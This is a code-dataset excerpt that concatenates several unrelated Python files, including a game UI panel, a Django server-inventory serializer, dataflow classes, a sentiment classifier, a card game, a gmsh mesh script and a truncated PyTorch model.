\n if mainKey[0] == \"t\":\n pass\n elif mainKey[0] == \"m\":\n pass\n \n def inventory(self): # On the right side of the screen, shows items\n # Types of Inventory Panels:\n # Standard (s)\n \n inventoryKey = self.params[\"inventory\"].split(\" \")\n \n if self.activePanel == \"inventory\":\n stroke(230)\n strokeWeight(7)\n fill(0, 0, 0, 200)\n else:\n fill(0, 0, 0, 150)\n stroke(200)\n strokeWeight(5)\n \n rect(self.canvasWidth - self.canvasWidth/6, 0, self.canvasWidth/6, self.canvasHeight, self.canvasWidth/20)\n \n if inventoryKey[0] == \"s\":\n pass\n \n def character(self): # On the left side of the screen, shows character stats and levels\n \n characterKey = self.params[\"character\"].split(\" \")\n \n if self.activePanel == \"character\":\n stroke(230)\n strokeWeight(7)\n fill(0, 0, 0, 200)\n else:\n fill(0, 0, 0, 150)\n stroke(200)\n strokeWeight(5)\n \n rect(0, 0, self.canvasWidth/6, self.canvasHeight, self.canvasWidth/20)\n \n if characterKey != \"\":\n self.characterDisplay.display(self.canvasWidth/9, self.canvasHeight/5, self.canvasWidth/10, self.canvasHeight/5)\n fill(255)\n textFont(makeFont(30))\n textAlign(CENTER)\n text(\"Health:\" + str(self.player.attributes[\"health\"]) + \"\\nXP:\" + str(self.player.attributes[\"xp\"]) + \"\\nArmor:\" + str(self.player.attributes[\"armor\"]) + \"\\nLevel:\" + str(self.player.attributes[\"level\"]), self.canvasWidth/30, self.canvasHeight/7)\n self.writeSubcat(self.canvasWidth/30, self.canvasHeight/2, 50, 500, self.player.attributes[\"magic\"], \"Magic\")\n self.writeSubcat(self.canvasWidth/30, self.canvasHeight/2 + 20*(len(self.player.attributes[\"magic\"]) + 1), 50, 500, self.player.attributes[\"physical\"], \"Physical\")\n self.writeSubcat(self.canvasWidth/30, self.canvasHeight/2 + 20*(len(self.player.attributes[\"magic\"]) + 1) + 20*(len(self.player.attributes[\"physical\"]) + 1), 50, 500, self.player.attributes[\"mental\"], \"Mental\")\n \n def writeSubcat(self, x, y, w, h, ref, refName): # For displaying experience in different fields (think Skyrim)\n textAlign(LEFT)\n text(refName, x, y)\n deltaY = 20\n thingy = deltaY\n for i in ref:\n text(str(i) + \":\" + str(ref[str(i)]), x + 40, y + thingy)\n thingy += deltaY\n \n def readout(self): # The readout panel would appear at the bottom of the screen, beneath the main but not encroaching on inventory or character.\n # Types of Readout Panels:\n # Dialogue (d), Monologue (m)\n \n readoutKey = self.params[\"readout\"].split(\" \")\n \n if self.activePanel == \"readout\":\n stroke(230)\n strokeWeight(7)\n fill(0, 0, 0, 200)\n else:\n fill(0, 0, 0, 150)\n stroke(200)\n strokeWeight(5)\n \n rect(self.canvasWidth/6, self.canvasHeight*2/3, self.canvasWidth*2/3, self.canvasHeight/3, self.canvasWidth/20)\n \n if readoutKey != \"\":\n pass\n \n def run(self): # Putting it all together\n self.main()\n self.inventory()\n self.character()\n self.readout()\n # I may add more panels eventually\n \n","sub_path":"application.windows64/source/Popup.py","file_name":"Popup.py","file_ext":"py","file_size_in_byte":4865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"265508038","text":"from rest_framework import serializers\nfrom servers.models import Server,IP,NetworkDevice\nfrom manufacturer.models import Manufacturer,ProductModel\n\nclass IPSerializer(serializers.ModelSerializer):\n \"\"\"\n IP序列化\n \"\"\"\n\n class Meta:\n model = IP\n fields = \"__all__\"\n\n\n\nclass NetworkDeviceSerializer(serializers.ModelSerializer):\n \"\"\"\n 网卡序列化\n \"\"\"\n\n class Meta:\n model = NetworkDevice\n fields = \"__all__\"\n\n\n\nclass ServerSerializer(serializers.ModelSerializer):\n \"\"\"\n 服务器序列化\n \"\"\"\n\n class Meta:\n model = Server\n fields = \"__all__\"\n # fields = (\"ip\", \"hostname\", \"cpu\", \"mem\", \"disk\", \"os\", \"sn\", \"manufacturer\", \"model_name\", \"uuid\")\n\n\nclass ServerAutoReportSerializer(serializers.Serializer):\n\n \"\"\"\n 服务器序列化\n \"\"\"\n ip = serializers.IPAddressField(required=True)\n hostname = serializers.CharField(required=True,max_length=20)\n cpu = serializers.CharField(required=True,max_length=50)\n mem = serializers.CharField(required=True,max_length=200)\n os = serializers.CharField(required=True,max_length=50)\n sn = serializers.CharField(required=True,max_length=50)\n # disk = serializers.CharField(required=True,max_length=50)\n # manufacturer= serializers.PrimaryKeyRelatedField(many=True,queryset=Manufacturer.objects.all())\n manufacturer= serializers.CharField(required=True)\n model_name = serializers.CharField(required=True)\n uuid = serializers.CharField(required=True,max_length=50)\n network = serializers.JSONField(required=True)\n\n\n\n def validate_manufacturer(self,value):\n print(\"自定义字段验证二\")\n print(value)\n try:\n return Manufacturer.objects.get(vendor_name__exact=value)\n except Manufacturer.DoesNotExist:\n return self.create_manufacturer(value)\n\n def validate(self, attrs):\n print(\"对象验证三\")\n\n # network = attrs[\"network\"]\n # del attrs[\"network\"]\n print(attrs)\n manufacturer_obj = attrs[\"manufacturer\"]\n try:\n attrs[\"model_name\"] = manufacturer_obj.productmodel_set.get(model_name__exact=attrs[\"model_name\"])\n except ProductModel.DoesNotExist:\n attrs[\"model_name\"] = self.create_product_model(manufacturer_obj,attrs[\"model_name\"])\n return attrs\n\n\n\n def create_server(self,validated_data):\n print(\"create\")\n network = validated_data.pop(\"network\")\n server_obj = Server.objects.create(**validated_data)\n self.check_server_network_device(server_obj, network)\n return server_obj\n\n\n\n def create(self,validated_data):\n print(validated_data)\n\n uuid = validated_data[\"uuid\"].lower()\n sn = validated_data[\"sn\"].lower()\n\n try:\n if sn == uuid or sn == \"\" or sn.startswith(\"vmware\"):\n #虚机\n server_obj = Server.objects.get(uuid__icontains=uuid)\n else:\n #物理机\n server_obj = Server.objects.get(sn__icontains=sn)\n except Server.DoesNotExist:\n return self.create_server(validated_data)\n else:\n return self.update_server(server_obj,validated_data)\n\n def update_server(self, instance, validated_data):\n print(\"update\")\n instance.hostname = validated_data.get(\"hostname\",instance.hostname)\n instance.cpu = validated_data.get(\"cpu\",instance.cpu)\n instance.mem = validated_data.get(\"mem\",instance.mem)\n instance.disk = validated_data.get(\"disk\",instance.disk)\n instance.os = validated_data.get(\"os\",instance.os)\n self.check_server_network_device(instance,validated_data['network'])\n instance.save()\n return instance\n\n\n def check_server_network_device(self,server_obj,network):\n \"\"\"\n 检查指定服务器有没有这些网卡设备,并做关联.\n :return:\n \"\"\"\n print(\"检查网卡\")\n network_device_queryset = server_obj.networkdevice_set.all()\n current_network_device_queryset = []\n for device in network:\n try:\n network_device_obj = network_device_queryset.get(name__exact=device[\"name\"])\n except NetworkDevice.DoesNotExist:\n \"\"\"\n 网卡不存在\n \"\"\"\n network_device_obj = self.create_network_device(server_obj,device)\n print(device[\"ips\"])\n self.check_ip(network_device_obj,device[\"ips\"])\n current_network_device_queryset.append(network_device_obj)\n\n for network_device_obj in list(set(network_device_queryset)-set(current_network_device_queryset)):\n network_device_obj.delete()\n\n def check_ip(self,network_device_obj,ifnets):\n print(\"检查ip\")\n ip_qeuryset = network_device_obj.ip_set.all()\n current_ip_queryset = []\n for ifnet in ifnets:\n try:\n ip_obj = ip_qeuryset.get(ip_addr__exact=ifnet[\"ip_addr\"])\n except IP.DoesNotExist:\n ip_obj = self.create_ip(network_device_obj,ifnet)\n current_ip_queryset.append(ip_obj)\n for ip_obj in set(ip_qeuryset) - set(current_ip_queryset):\n ip_obj.delete()\n\n\n def create_ip(self,network_device_obj,ifnet):\n ifnet[\"device\"] = network_device_obj\n return IP.objects.create(**ifnet)\n\n\n\n def create_network_device(self,server_obj,device):\n ips = device.pop(\"ips\")\n device[\"host\"] = server_obj\n network_device_obj = NetworkDevice.objects.create(**device)\n return network_device_obj\n\n\n\n def create_manufacturer(self,vendor_name):\n # print(\"创建数据manuacturer\")\n return Manufacturer.objects.create(vendor_name=vendor_name)\n\n def create_product_model(self,manufacturer_obj,model_name):\n print(\"创建数据product_model\")\n return ProductModel.objects.create(model_name=model_name,vendor=manufacturer_obj)\n\n def to_representation(self, instance):\n print(\"序列化后的数据\")\n # print(instance)\n ret = {\n \"hostname\": instance.hostname,\n \"ip\": instance.ip\n }\n return ret\n\n\n # def to_internal_value(self, data):\n # print(\"数据接收的元数据一\")\n # print(data)\n # return data","sub_path":"apps/servers/serializer.py","file_name":"serializer.py","file_ext":"py","file_size_in_byte":6440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"49439252","text":"\"\"\"\nCore class definitions\n\"\"\"\n\nfrom . import config\nfrom .deps import processing_order\n\n_registry = {}\ndef register_instrument(instrument):\n \"\"\"\n Add a new instrument to the server.\n \"\"\"\n config.INSTRUMENTS.append(instrument.id)\n for m in instrument.modules:\n register_module(m)\ndef register_module(module):\n \"\"\"\n Register a new calculation module.\n \"\"\"\n if module.id in _registry and module != _registry[module.id]:\n raise ValueError(\"Module already registered\")\n _registry[module.id] = module\ndef lookup_module(id):\n \"\"\"\n Lookup a module in the registry.\n \"\"\"\n return _registry[id]\n\n\nclass Module(object):\n \"\"\"\n Processing module\n\n A computation is represented as a set of modules connected by wires.\n\n Attributes\n ----------\n\n id : string\n\n Module identifier. By convention this will be a dotted structure\n '..', with instrument\n optional for generic operations.\n\n version : string\n\n Version number of the code which implements the filter calculation.\n If the calculation changes, the version number should be incremented.\n\n name : string\n\n The display name of the module. This may appear in the user interface\n in addition to any pictorial representation of the module. Usually it\n is just the name of the operation. By convention, it should have\n every word capitalized, with spaces between words.\n\n description : string\n\n A tooltip shown when hovering over the icon\n\n icon : { URI: string, terminals: { string: [x,y,i,j] } }\n\n Image representing the module, or none if the module should be\n represented by name.\n\n The terminal locations are identified by:\n\n id : string\n \n name of the terminal\n \n position : [int, int]\n \n (x,y) location of terminal within icon\n\n direction : [int, int]\n \n direction of the wire as it first leaves the terminal;\n default is straight out\n \n\n fields : Form\n\n An inputEx form defining the constants needed for the module. For\n example, an attenuator will have an attenuation scalar. Field\n names must be distinct from terminal names.\n\n terminals : [Terminal]\n\n List module inputs and outputs.\n\n id : string\n \n name of the variable associated with the data\n \n datatype : string\n \n name of the datatype associated with the data, with the\n output of one module needing to match the input of the\n next. Using a hierarchical type system, such as\n data1d.refl, we can attach to generic modules like scaling\n as well as specific modules like footprint correction. By\n defining the type of data that flows through the terminal\n we can highlight valid connections automatically.\n\n use : string | \"in|out\"\n \n whether this is an input parameter or an output parameter\n \n description : string\n \n A tooltip shown when hovering over the terminal; defaults\n to datatype name\n \n required : boolean\n \n true if an input is required; ignored on output terminals.\n \n multiple : boolean\n \n true if multiple inputs are accepted; ignored on output\n terminals.\n \"\"\"\n def __init__(self, id, version, name, description, icon=None,\n terminals=None, fields=None, action=None):\n self.id = id\n self.version = version\n self.name = name\n self.description = description\n self.icon = icon\n self.fields = fields\n self.terminals = terminals\n self.action = action\n\nclass Template(object):\n \"\"\"\n A template captures the computational workflow as a wiring diagram.\n\n Attributes\n ----------\n\n name : string\n \n String identifier for the template\n\n version : string\n\n Version number of the template\n\n description : string\n \n Extended description to be displayed as help to the template user.\n \n instrument : string\n \n Instrument to which the template applies\n\n modules : [TemplateModule]\n\n Modules used in the template\n \n module : string\n \n module id for template node\n\n version : string\n\n version number of the module\n\n config : map\n \n initial values for the fields\n \n position : [int,int]\n \n location of the module on the canvas.\n\n wires : [TemplateWire]\n\n Wires connecting the modules\n \n source : [int, string]\n \n module id in template and terminal name in module\n \n target : [int, string]\n \n module id in template and terminal name in module\n \n \"\"\"\n def __init__(self, name, description, modules, wires, instrument,\n version='0.0'):\n self.name = name\n self.description = description\n self.modules = modules\n self.wires = wires\n self.instrument = instrument\n self.version = version\n\n def order(self):\n \"\"\"\n Return the module ids in processing order.\n \"\"\"\n pairs = [(w['source'][0], w['target'][0]) for w in self.wires]\n return processing_order(len(self.modules), pairs)\n\n def __iter__(self):\n \"\"\"\n Yields module#, inputs for each module in the template in order.\n \"\"\"\n for id in self.order():\n inputs = [w for w in self.wires if w['target'][0] == id]\n yield id, inputs\n\n def __getstate__(self):\n \"\"\"\n Version aware pickler. Returns (version, state)\n \"\"\"\n return '1.0', self.__dict__\n def __setstate__(self, state):\n \"\"\"\n Version aware unpickler. Expects (version, state)\n \"\"\"\n version, state = state\n if version != '1.0':\n raise TypeError('Template definition mismatch')\n self.__dict__ = state\n\nclass Instrument(object):\n \"\"\"\n An instrument is a set of modules and standard templates to be used\n for reduction\n\n Attributes\n ----------\n\n id : string\n\n Instrument identifier. By convention this will be a dotted\n structure '..'\n\n name : string\n\n The display name of the instrument\n\n menu : [(string, [Module, ...]), ...]\n \n Modules available. Modules are organized into groups of related\n operations, such as Input, Reduce, Analyze, ...\n\n datatypes : [Datatype]\n \n List of datatypes used by the instrument\n \n archive : URI\n \n Location of the data archive for the instrument. Archives must\n implement an interface that allows data sets to be listed and\n retrieved for a particular instrument/experiment.\n \"\"\"\n def __init__(self, id, name=None, menu=None,\n datatypes=None, requires=None, archive=None):\n self.id = id\n self.name = name\n self.menu = menu\n self.datatypes = datatypes\n self.requires = requires\n self.archive = archive\n\n self.modules = []\n for _, m in menu:\n self.modules.extend(m)\n self._check_datatypes()\n self._check_names()\n\n def _check_datatypes(self):\n defined = set(d.id for d in self.datatypes)\n used = set()\n for m in self.modules:\n used |= set(t['datatype'] for t in m.terminals)\n if used - defined:\n raise TypeError(\"undefined types: %s\" % \", \".join(used - defined))\n if defined - used:\n raise TypeError(\"unused types: %s\" % \", \".join(defined - used))\n\n def _check_names(self):\n names = set(m.name for m in self.modules)\n if len(names) != len(self.modules):\n raise TypeError(\"names must be unique within an instrument\")\n \n def id_by_name(self, name):\n for m in self.modules:\n if m.name == name: return m.id\n raise KeyError(name + ' does not exist in instrument ' + self.name)\n\nclass Datatype(object):\n \"\"\"\n A datatype\n\n Attributes\n ----------\n\n id : string\n\n simple name for the data type\n\n name : string\n\n display name for the data type\n\n plot : string\n\n javascript code to set up a plot of the data, or empty if\n data is not plottable\n \n \n \"\"\"\n def __init__(self, id, name=None, plot=None):\n self.id = id\n self.name = name if name is not None else id.capitalize()\n self.plot = plot\n \nclass Data(object):\n \"\"\"\n Data objects represent the information flowing over a wire.\n\n Attributes\n ----------\n\n name : string\n \n User visible identifier for the data. Usually this is file name.\n\n datatype : string\n \n Type of the data. This determines how the data may be plotted\n and filtered.\n \n intent : string\n \n What role the data is intended for, such as 'background' for\n data that is used for background subtraction.\n\n dataid : string\n \n Key to the data. The data itself can be stored and retrieved by key.\n\n history : list\n\n History is the set of modules used to create the data. Each module\n is identified by the module id, its version number and the module\n configuration used for this data set. For input terminals, the\n configuration will be {string: [int,...]} identifying\n the connection between nodes in the history list for each input.\n\n module : string\n\n version : string\n\n inputs : { : [(, ), ...] }\n\n config : { : value, ... }\n \n dataid : string\n\n \"\"\"\n \n def __getstate__(self):\n return \"1.0\", __dict__\n def __setstate__(self, state):\n version, state = state\n self.__dict__ = state\n\n\n","sub_path":"dataflow/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":10084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"120087546","text":"import pandas as pd\nimport jieba\nfrom sklearn.model_selection import train_test_split, cross_val_score\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.pipeline import make_pipeline\nfrom sklearn import metrics\n\n\n# 划分正向情感和负向情感\ndef make_label(df):\n df[\"sentiment\"] = df[\"star\"].apply(lambda x: 1 if x > 3 else 0)\n\n\ndef chinese_word_cut(text):\n return \" \".join(jieba.cut(text))\n\n\ndef get_custom_stopwords(file):\n with open(file) as f:\n stop_words = f.read()\n stopwords_list = stop_words.split('\\n')\n custom_stopwords_list = [i for i in stopwords_list]\n return custom_stopwords_list\n\n\nif __name__ == '__main__':\n # 读入csv文件\n df = pd.read_csv('data.csv', encoding='gb18030')\n make_label(df)\n # 将特征和标签分开\n X = df[['comment']]\n y = df.sentiment\n # 将每一行评论分词\n X['cutted_comment'] = X.comment.apply(chinese_word_cut)\n # 将数据分为训练集和测试集\n # random_state=1在不同环境中随机数取值一致\n X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=1)\n # 哈工大停用词表\n stop_words_file = \"stopwordsHIT.txt\"\n stopwords = get_custom_stopwords(stop_words_file)\n # 对中文语句向量化\n max_df = 0.8 # 在超过这一比例的文档中出现的关键词(过于平凡)去除掉\n min_df = 3 # 在低于这一数量的文档中出现的关键词(过于独特)去除掉\n vector = CountVectorizer(max_df=max_df,\n min_df=min_df,\n token_pattern=u'(?u)\\\\b[^\\\\d\\\\W]\\\\w+\\\\b',\n stop_words=frozenset(stopwords))\n term_matrix = pd.DataFrame(vector.fit_transform(X_train.cutted_comment).toarray(),\n columns=vector.get_feature_names())\n # 基于贝叶斯定理的朴素贝叶斯分类器\n nb = MultinomialNB()\n pipe = make_pipeline(vector, nb)\n # 使用交叉验证\n print(cross_val_score(pipe, X_train.cutted_comment, y_train, cv=5, scoring='accuracy').mean())\n # 把模型拟合\n pipe.fit(X_train.cutted_comment, y_train)\n y_pred = pipe.predict(X_test.cutted_comment)\n # 模型分类准确率\n print(metrics.accuracy_score(y_test, y_pred))\n # 混淆矩阵\n print(metrics.confusion_matrix(y_test, y_pred))\n","sub_path":"CVSW/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":2391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"509102482","text":"import json\nimport os\nfrom collections import OrderedDict\n\nimport pandas as pd\nfrom string_grouper import StringGrouper\n\n\nclass Champion:\n # static champion data for easy synergy and stat access\n\n print(os.listdir())\n with open(\"Synergies.json\", \"r\") as file:\n synergies = json.load(open('Synergies.json'))\n\n with open(\"stats.json\", \"r\") as file:\n stats = json.load(file)\n\n def __init__(self, name, star_level):\n import string_grouper\n series = pd.Series([str(name)])\n champions = pd.Series(list(self.synergies.keys()))\n similar = string_grouper.match_most_similar(champions, series)[0]\n # print(pd.DataFrame({'Input': series, 'Output': similar}).to_string)\n if similar in self.synergies:\n name = similar\n self.name = name\n self.star_level = star_level\n self.tier = self.synergies[name][\"Tier\"]\n self.origin = self.synergies[name][\"Origin\"]\n self.classes = self.synergies[name][\"Classes\"]\n self.position = [\"\", 0]\n self.items = [None] * 3\n else:\n # print(\"'\" + name + \"' is not a valid TFT champion.\")\n self.name = None\n\n def getChampionID(self):\n if self.name:\n return list(self.synergies).index(self.name)\n\n def isValid(self):\n return self.name is not None\n\n \"\"\"\n def __eq__(self, other):\n if isinstance(other, Champion):\n return self.name == other.name and self.tier == other.tier and self.items == other.items\n \"\"\"\n\n def __str__(self):\n if self.name is None:\n return \"Empty champion.\"\n return self.name + \": \" + str(self.star_level)\n","sub_path":"Champion.py","file_name":"Champion.py","file_ext":"py","file_size_in_byte":1711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"438543071","text":"from random import shuffle\n\n# Creates a shuffled deck #\ndef create_deck():\n suits = ['\\u2660', '\\u2665', '\\u2666', '\\u2663']\n ranks = ['2','3','4','5','6','7','8','9','10','J','Q','K','A']\n\n deck = []\n for i in ranks:\n for z in suits:\n deck.append(i+z)\n shuffle(deck)\n\n return deck\n\n# Splits the deck between players #\ndef split_deck(nb_of_players):\n\n # Finds out the number of cards to remove #\n nb_of_cards_to_remove = len(deck) % nb_of_players\n \n # Remove the 'excess' number of cards #\n if nb_of_cards_to_remove != 0:\n for i in range(nb_of_cards_to_remove):\n del deck[i]\n \n nb_of_cards_per_person = len(deck)/nb_of_players\n nb_of_cards_per_person = int(nb_of_cards_per_person)\n\n\n # Splits the deck between the players #\n decks = [deck[i:i + nb_of_cards_per_person] for i in range(0, len(deck), nb_of_cards_per_person)]\n\n return decks\n\ndef remove_pairs():\n\n # Removes all the pairs from the decks #\n i, j, k = 0, 0 ,0\n while i < (len(decks)):\n while j < (len(decks[i])):\n copies = 0\n while k < (len(decks[i])):\n card_1 = decks[i][j]\n card_2 = decks[i][k]\n if card_1[:-1] == card_2[:-1]:\n copies += 1\n if copies == 2:\n decks[i].remove(decks[i][j])\n decks[i].remove(decks[i][k-1])\n k, j, copies = 0, 0, 0\n else:\n k += 1\n j += 1\n k = 0\n i += 1\n j, k = 0, 0\n return decks\n\ndef turn_go_fish():\n \n # Makes every player play #\n i = 0\n while i < len(decks):\n print(\"\\nPlayer \", i + 1, \", it is your turn.\", sep=\"\")\n ready = input(\"Press enter to begin.\\n\")\n if ready == \"\":\n\n # Takes the numbers of the player and his card #\n print(\"Here is your deck:\\n\", decks[i], sep=\"\")\n player_input = int(input(\"\\nFrom which player do you want to steal?\\nPlayer number: \"))\n player_nb = player_input - 1\n print(\"\\nThis player has \", len(decks[player_nb]), \" cards.\\nWhich one do you want to steal?\", sep=\"\")\n steal_input = int(input(\"Card number: \"))\n steal_nb = steal_input - 1\n print(\"\\nYou stole a '\", decks[player_nb][steal_nb], \"' from player \", player_input, \".\", sep=\"\")\n\n # Appends the stolen card to the current player's deck and deletes it from the other player's deck #\n decks[i].append(decks[player_nb][steal_nb])\n decks[player_nb].remove(decks[player_nb][steal_nb])\n\n # Verifies if the stolen card makes a pair and deletes the pair if it does #\n for j in range(len(decks[i])-1):\n if decks[i][j][:-1] == decks[i][-1][:-1]:\n print(\"\\nCongratulations! You have a new pair: '\", decks[i][j], \"'\", \" and \", decks[i][-1], \"'.\", sep=\"\")\n decks[i].remove(decks[i][j])\n decks[i].remove(decks[i][-1])\n break\n print(\"Your deck is now:\\n\", decks[i], sep=\"\")\n\n # 'Clears' the console #\n input(\"\\nPress enter to clear the console.\\n\")\n for l in range(18):\n print(\"\\n\")\n \n # Deletes the deck if it is empty #\n if decks[i] == []:\n del decks[i]\n print(\"Le joueur \", i+1, \" a perdu. T'es laid!\", sep=\"\")\n \n\n i += 1\n\n return decks\n\ndef turn():\n \n # Makes every player play #\n i = 0\n while i < len(decks):\n print(\"\\nPlayer \", i + 1, \", it is your turn.\", sep=\"\")\n ready = input(\"Press enter to begin.\\n\")\n if ready == \"\":\n\n # Takes the numbers of the player and his card #\n print(\"Here is your deck:\\n\", decks[i], sep=\"\")\n player_input = int(input(\"\\nFrom which player do you want to steal?\\nPlayer number: \"))\n player_nb = player_input - 1\n print(\"\\nThis player has \", len(decks[player_nb]), \" cards.\\nWhich one do you want to steal?\", sep=\"\")\n steal_input = int(input(\"Card number: \"))\n steal_nb = steal_input - 1\n print(\"\\nYou stole a '\", decks[player_nb][steal_nb], \"' from player \", player_input, \".\", sep=\"\")\n\n # Appends the stolen card to the current player's deck and deletes it from the other player's deck #\n decks[i].append(decks[player_nb][steal_nb])\n decks[player_nb].remove(decks[player_nb][steal_nb])\n\n # Verifies if the stolen card makes a pair and deletes the pair if it does #\n for j in range(len(decks[i])-1):\n if decks[i][j][:-1] == decks[i][-1][:-1]:\n print(\"\\nCongratulations! You have a new pair: '\", decks[i][j], \"'\", \" and \", decks[i][-1], \"'.\", sep=\"\")\n decks[i].remove(decks[i][j])\n decks[i].remove(decks[i][-1])\n break\n print(\"Your deck is now:\\n\", decks[i], sep=\"\")\n\n # 'Clears' the console #\n input(\"\\nPress enter to clear the console.\\n\")\n for l in range(18):\n print(\"\\n\")\n \n # Deletes the deck if it is empty #\n if decks[i] == []:\n del decks[i]\n print(\"Le joueur \", i+1, \" a perdu. T'es laid!\", sep=\"\")\n \n\n i += 1\n\n return decks\n\n\ndeck = create_deck()\n\n\nrun = True\nprint(\"\\n\\nWelcome to the fake game of Go Fish!\")\nwhile run:\n rules = input(\"Do you want to have an explanation of the rules? (y/n): \")\n while run:\n if rules == \"y\":\n run = False\n\n # Explanation of the rules #\n print(\"\\nThe goal of the game is to be the first player to finish his deck.\")\n print(\"Every player starts with the same number of cards.\\nEvery pairs that one player has gets discated.\")\n print(\"\\nAt the begining of his turn, the player decides from which other player he wants to steal.\")\n print(\"He then decides which card he takes (whitout being able to see it, of course).\")\n print(\"\\nIf the new card the player stole forms a pair with one of the cards he had before, the pair gets removed.\")\n input(\"\\nPress enter when you are ready to start.\\n\")\n create_deck()\n nb_of_players = int(input(\"\\n\\n\\nPlease enter a number of players: \"))\n decks = split_deck(nb_of_players)\n decks = remove_pairs()\n while decks != []:\n turn()\n elif rules == \"n\":\n run = False\n create_deck()\n nb_of_players = int(input(\"Please enter a number of players: \"))\n decks = split_deck(nb_of_players)\n decks = remove_pairs()\n while decks != []:\n turn()\n else:\n rules = input(\"Please make a selection between yes (y) and no (n): \")\n","sub_path":"Card games/Fake_Go_Fish.py","file_name":"Fake_Go_Fish.py","file_ext":"py","file_size_in_byte":7040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"351730428","text":"#A motorbike costs £2000 and loses 10% of its value every year.\n# Using a loop, print the value of the bike every following year until it falls below £1000\n\nvalue = 2000\nyear = 2021\nwhile value >= 1000:\n value -= (value*0.1)\n year = year + 1\n print(year, value)\n\n","sub_path":"Task4.py","file_name":"Task4.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"264305434","text":"import numpy as np\nimport scipy.sparse\nimport gmsh\nimport p01\nimport p04\n\ndef make_geom(size, isize):\n b = gmsh.model.occ.addBox(-size/2, -size/2, -size/2, size, size, size)\n isrcl = gmsh.model.occ.addPoint(0, 0, -isize/2)\n isrcu = gmsh.model.occ.addPoint(0, 0, isize/2)\n isrc = gmsh.model.occ.addLine(isrcl, isrcu)\n f = gmsh.model.occ.fragment \\\n ( [ (3, b), (1, isrc) ]\n , [] )\n print(f)\n gmsh.model.occ.synchronize()\n bd = gmsh.model.getBoundary([(3, b)])\n return b, [x[1] for x in bd], isrc\n\ndef assign_physicals(air_tag, pec_tags, isrc_tag):\n isrc = gmsh.model.addPhysicalGroup(1, [isrc_tag])\n pec = gmsh.model.addPhysicalGroup(2, pec_tags)\n air = gmsh.model.addPhysicalGroup(3, [air_tag])\n return isrc, pec, air\n\ndef get_mesh():\n gmsh.initialize()\n air_tag, pec_tags, isrc_tag = make_geom(1, 0.01)\n gmsh.model.occ.synchronize()\n isrc, pec, air = assign_physicals(air_tag, pec_tags, isrc_tag)\n #gmsh.model.mesh.setSize(gmsh.model.getEntities(0), 3)\n #gmsh.model.mesh.setSize(gmsh.model.getEntities(0), 0.7)\n gmsh.model.mesh.setSize(gmsh.model.getEntities(0), 0.1)\n #gmsh.option.setNumber(\"Mesh.Algorithm\", 8)\n gmsh.model.mesh.generate(3)\n nodes = gmsh.model.mesh.getNodes()\n lacc = []\n racc = []\n probe = []\n for ntag in gmsh.model.getEntitiesForPhysicalGroup(1, isrc):\n es = gmsh.model.mesh.getElements(1, ntag)\n ns = es[2][0].reshape(-1, 2) - 1\n ns.sort()\n racc.append((p01.isrc(1, [0,0,1]), ns))\n probe.append(ns)\n for ntag in gmsh.model.getEntitiesForPhysicalGroup(2, pec):\n es = gmsh.model.mesh.getElements(2, ntag)\n ns = es[2][0].reshape(-1, 3) - 1\n ns.sort()\n lacc.append((p01.absorb, ns))\n for ntag in gmsh.model.getEntitiesForPhysicalGroup(3, air):\n es = gmsh.model.mesh.getElements(3, ntag)\n ns = es[2][0].reshape(-1, 4) - 1\n ns.sort()\n lacc.append((p01.volume(0, p04.e0, p04.u0), ns))\n gmsh.finalize()\n return nodes[1].reshape(-1,3), lacc, racc, probe\n\n\ndef main():\n np.set_printoptions(precision=3)\n vrt, lacc, racc, probe = get_mesh()\n solver = p04.Banded(vrt, lacc, racc, [])\n print(solver.v2e.nnz, solver.bwh)\n for freq in [1e9, 2e9]:\n sol = solver.solve(freq)\n print(sol)\n print(p04.isrc_v(sol, vrt, probe[0], solver.v2e, [0,0,1]))\n print(2*np.pi/3*(p04.u0/p04.e0)**0.5*(0.01/(p04.c/freq))**2)\n\nif __name__ == '__main__':\n main()\n","sub_path":"cem/g05.py","file_name":"g05.py","file_ext":"py","file_size_in_byte":2488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"598070516","text":"import math\n\nimport torch\nimport torch.nn as nn\n\nfrom fairseq import utils\nfrom fairseq.models.fairseq_encoder import EncoderOut\nfrom fairseq.modules import (\n FairseqDropout,\n LayerDropModuleList,\n LayerNorm,\n PositionalEmbedding, #Implemented my own\n SinusoidalPositionalEmbedding,\n TransformerEncoderLayer,\n)\n\nclass ConvModel(nn.Module):\n def __init__(self, conv_channels, activation, pos_emb):\n\n super(ConvModel, self).__init__()\n if pos_emb:\n #self.pos_emb = PositionalEncoding(2*12, dropout=0.0, max_len=100)\n self.pos_emb = LinearPositionalEmbedding(max_len=100)\n self.conv1 = nn.Conv1d(12 * 2 + 1, conv_channels, kernel_size=5, padding=2)\n #self.conv1 = nn.Conv1d(12 * 2, conv_channels, kernel_size=5, padding=2)\n else:\n self.pos_emb = None\n self.conv1 = nn.Conv1d(12 * 2, conv_channels, kernel_size=5, padding=2)\n\n self.conv2 = nn.Conv1d(conv_channels, conv_channels, kernel_size=5, padding=2)\n self.conv3 = nn.Conv1d(conv_channels, conv_channels, kernel_size=5, padding=2)\n self.conv4 = nn.Conv1d(conv_channels, 2 * 21, kernel_size=5, padding=2)\n\n if activation == \"ReLU\":\n self.activation = nn.ReLU()\n else:\n raise ValueError()\n\n\n def forward(self, inp):\n\n\n inp = inp.permute(0, 2, 3, 1)\n bs, n_keypoints, dim, len = inp.shape\n\n inp = inp.view(bs, n_keypoints * dim, len)\n\n if self.pos_emb:\n # inp = inp.permute(0, 2, 1)\n # inp = self.pos_emb(inp)\n # inp = inp.permute(0, 2, 1)\n\n inp = 